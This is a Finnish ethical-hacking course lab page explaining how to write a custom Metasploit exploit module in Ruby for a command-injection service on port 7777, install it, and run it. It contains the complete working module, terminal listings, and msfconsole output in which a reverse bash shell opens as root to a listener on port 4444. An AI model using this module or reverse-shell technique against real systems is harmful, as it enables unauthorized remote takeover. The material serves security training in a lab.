Cityscape
Girl

Murtotestauksen perusteet

Exploittien tuominen metasploit-ympäristöön

Keskitaso
25 min

Usein voi tulla tilanne vastaan missä haavoittuvuudelle ei ole vielä exploit-moduulia lisätty Metasploittiin, esimerkiksi, jos kyse on todella uudesta haavoittuvuudesta tai sitten haavoittuvuus tai haavoittuva palvelu on vähemmän tunnettu. Joskus voi olla hauskaa myös kääntää omia exploittejaan Metasploitille ymmärrettävään muotoon. Harjoitellaan tässä tehtävässä molempia asioita, eli kirjoitetaan yksinkertainen oma exploitti ja lisätään se Metasploit-ympäristöön.

custom moduuli - harjoitus

Kohdejärjestelmässä on käynnissä prosessi portissa TCP/7777, johon voi ottaa yhteyttä esimerkiksi netcat-ohjelmalla.

Tehtävät

Flag

Löydä lippu (flag) labraympäristöstä ja syötä se alle.

Aloitetaan käynnistämällä tehtävä ja ottamalla yhteyttä kohdepalveluun netcat-ohjelmalla. Tutkitaan tämän sisältämiä toiminnallisuuksia ja todetaan selkeä tapa suorittaa komentoja.

Yllä olevassa kuvassa me ensin kokeilimme erilaisia palvelun toimintoja ja sitten totesimme, että palvelu sallii sokean komentojen syöttämisen. Suoritimme curl - komennon meidän kali-konetta vastaan ja näemme kuinka kohdejärjestelmä suorittaa komennon ja näemme HTTP-pyynnön tulevan netcat-kuuntelijaamme porttiin 4444.

Nyt voisimme luoda tämän avulla tavallisen etähallinnan sillä käytännössähän meillä on jo kyky suorittaa vapaasti komentoja kohdekoneella, mutta tämän harjoituksen puitteissa, luodaan mieluummin oma Metasploit-moduuli, lisätään tämä Metasploit-ympäristöömme ja käytetään sitä etäyhteyden luomiseen.

Aloitetaan exploitin luomisella, mutta koska tämä on vain yksinkertainen esimerkki siitä, miten omia metasploit-moduuleja voidaan luoda, eikä esimerkiksi tarkoitus ole harjoitella Ruby koodikielen salaisuuksia, niin emme käy tässä läpi kyseistä koodia askel askeleelta. Alla kuitenkin valmis toimiva koodi ja tässä kommentit, mitä kukin osa koodia tekee.

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking  # Set the rank for this module to NormalRanking.

  include Msf::Exploit::Remote::Tcp  # Include the Msf::Exploit::Remote::Tcp module for handling TCP connections.

  def initialize(info = {})
    super(
      update_info(info,
        'Name' => 'Hakatemia CLI-BOT RCE',
        'Description' => %q{
          This exploit triggers an RCE (Remote Code Execution) in the Hakatemia bot-cli version 0.1.
        },
        'License' => MSF_LICENSE,  # Specify the Metasploit Framework license for this module.
        'Author' => [ 'Hakatemia Oy' ],  # List the author(s) of the module.
        'Platform' => 'unix',  # Define the target platform as Unix.
        'Arch'	=> ARCH_CMD,  # Specify the target architecture as ARCH_CMD (command execution).
        'Targets'   =>
        [
          [ 'Automatic Target', { }]  # Define a target, but with no specific configuration.
        ],
        'Payload' 			=> 
          {
          'Space'       => 1024,  # Set payload space to 1024 bytes.
          'DisableNops' => true,  # Disable payload nops (no-operation instructions).
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',  # Specify compatible payload types.
              'RequiredCmd' => 'generic bash bash-tcp',  # Define required command types for the payload.
            }
          },
        'Privileged' => false,  # Indicate that the exploit does not require elevated privileges.
        'DefaultTarget' => 0,  # Set the default target to the first target defined.
      )
    )    
    register_options(
    [
      Opt::RPORT(7777),  # Register the remote port option with a default value of 7777.
    ])
  end

  def check
    # The check function is used to determine if the target is vulnerable.
    print_status("Checking if vulnerable..")  # Print a status message to the console.

    connect  # Establish a connection to the target.
    buf = sock.get_once  # Read data from the socket once.

    if buf.include?("Ready to accept commands")  # Check if the received data contains a specific string.
      return Exploit::CheckCode::Vulnerable  # If the string is found, the target is vulnerable.
    end

    return Exploit::CheckCode::Safe  # If the string is not found, the target is considered safe.

    disconnect  # Disconnect from the target (Note: this line will never be executed due to the "return" statement above).
  end

  def exploit
    # The exploit function is the main part of the module that triggers the exploit.
    connect  # Establish a connection to the target.
    sock.get  # Read data from the socket.
    sock.put("COMMAND "+payload.encoded)  # Send a command followed by the encoded payload to the target.
    handler  # Execute the Metasploit handler to handle the session.
    disconnect  # Disconnect from the target.
  end
end

Huomaa, yllä olevassa koodissa check niminen funktio. Joskus Metasploitin exploitteihin on rakennettu kyky tarkistaa, onko palvelu haavoittuvainen, ilman, että järjestelmää yritetään exploittaa. Usein tämän kaltainen tarkistus ei ole kuitenkaan mahdollista.

Käytetään yllä olevaa koodia ja tallennetaan se exploit.rb nimiseen tiedostoon kali-koneella.

root@a7piiavfrq-student:/# vim exploit.rb
root@a7piiavfrq-student:/# ls exploit.rb 
exploit.rb
root@a7piiavfrq-student:/# head exploit.rb 

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(info,
        'Name' => 'Hakatemia CLI-BOT RCE',
root@a7piiavfrq-student:/# 

Nyt kun meillä on valmis exploit kirjoitettuna, meidän täytyy lisätä kyseinen exploit-moduuli Metasploit-ympäristöömme. Aloitetaan ensin siirtymällä kansioon /usr/share/metasploit-framework/ ja käydään tätä hakemistoa hieman läpi.

root@klhkbaew3x-student:~# cd /usr/share/metasploit-framework/
root@klhkbaew3x-student:/usr/share/metasploit-framework# ls -al
total 168
drwxr-xr-x 14 root root  4096 Oct  9 14:40 .
drwxr-xr-x  1 root root  4096 Oct  9 14:42 ..
drwxr-xr-x  5 root root  4096 Oct  9 14:40 app
drwxr-xr-x  2 root root  4096 Oct  9 14:40 .bundle
drwxr-xr-x  3 root root  4096 Oct  9 14:40 config
drwxr-xr-x 26 root root  4096 Oct  9 14:40 data
drwxr-xr-x  3 root root  4096 Oct  9 14:40 db
drwxr-xr-x  6 root root  4096 Oct  9 14:40 docs
lrwxrwxrwx  1 root root    27 Aug 25 07:07 documentation -> ../doc/metasploit-framework
-rw-r--r--  1 root root  1612 Aug 25 07:07 Gemfile
-rw-r--r--  1 root root 14608 Aug 25 07:07 Gemfile.lock
drwxr-xr-x 16 root root  4096 Oct  9 14:40 lib
-rw-r--r--  1 root root 10673 Aug 25 07:07 metasploit-framework.gemspec
drwxr-xr-x  9 root root  4096 Oct  9 14:40 modules
-rwxr-xr-x  1 root root   798 Aug 25 07:07 msfconsole
-rwxr-xr-x  1 root root  2807 Aug 25 07:07 msfd
-rwxr-xr-x  1 root root  5854 Aug 25 07:07 msfdb
-rw-r--r--  1 root root  1321 Aug 25 07:07 msf-json-rpc.ru
-rwxr-xr-x  1 root root  2212 Aug 25 07:07 msfrpc
-rwxr-xr-x  1 root root  9580 Aug 25 07:07 msfrpcd
-rwxr-xr-x  1 root root   166 Aug 25 07:07 msfupdate
-rwxr-xr-x  1 root root 14074 Aug 25 07:07 msfvenom
-rw-r--r--  1 root root   435 Aug 25 07:07 msf-ws.ru
drwxr-xr-x  2 root root  4096 Oct  9 14:40 plugins
-rwxr-xr-x  1 root root  1316 Aug 24 10:07 Rakefile
-rwxr-xr-x  1 root root   876 Aug 25 07:07 ruby
-rwxr-xr-x  1 root root   140 Aug 25 07:07 script-exploit
-rwxr-xr-x  1 root root   141 Aug 25 07:07 script-password
-rwxr-xr-x  1 root root   138 Aug 25 07:07 script-recon
drwxr-xr-x  5 root root  4096 Oct  9 14:40 scripts
drwxr-xr-x 13 root root  4096 Oct  9 14:40 tools
drwxr-xr-x  3 root root  4096 Oct  9 14:40 vendor
root@klhkbaew3x-student:/usr/share/metasploit-framework# 

Kuten yllä olevasta listauksesta nähdään, täältä löytyvät kaikki metasploit-ympäristöön liittyvät työkalut ja datat. Alla pieni selite Metasploit-hakemiston rakenteesta.

  • app: Tässä hakemistossa on sovelluksen (Metasploit Frameworkin) ydinkoodi ja toiminnallisuus.
  • docs: Tässä hakemistossa on dokumentaatioon liittyviä tiedostoja.
  • documentation: Tämä on symbolinen linkki dokumentaatiohakemistoon, joka ohjaa dokumentaatioon.
  • lib: Lib-hakemisto sisältää kirjastoja ja moduuleita, jotka ovat tarpeen Metasploit Frameworkin toiminnan kannalta.
  • modules: Tässä hakemistossa sijaitsevat Metasploit Frameworkin moduulit. Moduulit on jaoteltu eri alahakemistoihin, kuten auxiliary, exploits, ja post.
  • plugins: Plugins-hakemisto sisältää laajennuksia, jotka voivat laajentaa Metasploit Frameworkin toiminnallisuutta.
  • scripts: Tässä hakemistossa sijaitsevat Metasploit Frameworkin käynnistys- ja hallintaskriptit.
  • tools: Työkaluhakemisto sisältää erilaisia tietoturva- ja penetraatiotestausvälineitä.
  • vendor: Vendor-hakemisto voi sisältää kolmansien osapuolien ohjelmistoja ja riippuvuuksia.

Siirrytään sitten modules-hakemistoon. Tässä hakemistossa sijaitsee kaikki Metasploit-ympäristön mukana tulevat moduulit. Siirrytään exploits/linux-hakemistoon ja lisätään kyseiseen kansioon äsken luomamme exploit.rb tiedosto. Nimetään tämä myös uudelleen hakaclirce.rb.

root@a7piiavfrq-student:/usr/share/metasploit-framework/modules/exploits/linux# ls -l
total 108
drwxr-xr-x 2 root root  4096 Oct  9 14:40 antivirus
drwxr-xr-x 2 root root  4096 Oct  9 14:40 browser
drwxr-xr-x 2 root root  4096 Oct  9 14:40 fileformat
drwxr-xr-x 2 root root  4096 Oct  9 14:40 ftp
drwxr-xr-x 2 root root  4096 Oct  9 14:40 games
-rw-r--r-- 1 root root  1380 Oct 16 09:04 hakaclirce.rb
drwxr-xr-x 2 root root 20480 Oct  9 14:40 http
drwxr-xr-x 2 root root  4096 Oct  9 14:40 ids
drwxr-xr-x 2 root root  4096 Oct  9 14:40 imap
drwxr-xr-x 2 root root  4096 Oct  9 14:40 local
drwxr-xr-x 2 root root  4096 Oct  9 14:40 misc
drwxr-xr-x 2 root root  4096 Oct  9 14:40 mysql
drwxr-xr-x 2 root root  4096 Oct  9 14:40 pop3
drwxr-xr-x 2 root root  4096 Oct  9 14:40 postgres
drwxr-xr-x 2 root root  4096 Oct  9 14:40 pptp
drwxr-xr-x 2 root root  4096 Oct  9 14:40 proxy
drwxr-xr-x 2 root root  4096 Oct  9 14:40 redis
drwxr-xr-x 2 root root  4096 Oct  9 14:40 samba
drwxr-xr-x 2 root root  4096 Oct  9 14:40 smtp
drwxr-xr-x 2 root root  4096 Oct  9 14:40 snmp
drwxr-xr-x 2 root root  4096 Oct  9 14:40 ssh
drwxr-xr-x 2 root root  4096 Oct  9 14:40 telnet
drwxr-xr-x 2 root root  4096 Oct  9 14:40 upnp
root@a7piiavfrq-student:/usr/share/metasploit-framework/modules/exploits/linux# 

Nyt olemme lisänneet exploitin Metasploit-ympäristöömme. Avataan msfconsole ja valitaan exploittimme.

msf6 > use exploit/linux/hakaclirce 
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf6 exploit(linux/hakaclirce) > info

       Name: Hakatemia CLI-BOT RCE
     Module: exploit/linux/hakaclirce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Hakatemia Oy

Available targets:
      Id  Name
      --  ----
  =>  0   Automatic Target

Check supported:
  Yes

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-m
                                     etasploit/basics/using-metasploit.html
  RPORT   7777             yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This exploit triggers an RCE in the Hakatemia bot-cli version 0.1.


View the full module info with the info -d command.

msf6 exploit(linux/hakaclirce) > 

Asetetaan RHOSTS ja tarkistetaan asetukset vielä kerran.

msf6 exploit(linux/hakaclirce) > set RHOSTS 10.0.12.46
RHOSTS => 10.0.12.46
msf6 exploit(linux/hakaclirce) > show options

Module options (exploit/linux/hakaclirce):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.0.12.46       yes       The target host(s), see https://docs.metasploit.com/docs/using-
                                      metasploit/basics/using-metasploit.html
   RPORT   7777             yes       The target port (TCP)


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.12.1        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(linux/hakaclirce) > 

Nämä näyttävät olevan kunnossa, joten suoritetaan nyt check-toiminto, jonka lisäsimme moduuliimme. (check funktio koodissa)

msf6 exploit(linux/hakaclirce) > check

[*] 10.0.12.46:7777 - Checking if vulnerable..
[+] 10.0.12.46:7777 - The target is vulnerable.
msf6 exploit(linux/hakaclirce) > 

Ja nyt voimme suorittaa exploit-komennon.

msf6 exploit(linux/hakaclirce) > exploit

[*] Started reverse TCP handler on 10.0.12.1:4444 
[*] Command shell session 1 opened (10.0.12.1:4444 -> 10.0.12.46:41208) at 2023-10-16 09:28:53 +0000

id
uid=0(root) gid=0(root) groups=0(root)

Olemme nyt onnistuneesti saaneet järjestelmän etähallintaan ja voimme todeta, että moduulimme toimii oletetusti. On hyvä kuitenkin muistaa, ettei exploitteja yleensä lähdetä suoraan kirjoittamaan metasploit-ympäristölle toimivaan muotoon vaan yleensä exploit-koodit kirjoitetaan itsenäisesti ja sitten halutessaan, nämä voidaan kääntää Metasploitille ymmärrettävään muotoon.

Voit nyt itsenäisesti kokeilla päivittää olemassa olevan yhteyden parempaan Meterpreter konsoliin.

flag arvon löydät ympäristö-parametreista ajamalla env -komennon. Esimerkiksi, env |grep FLAG.

hakatemia pro

Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.

Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.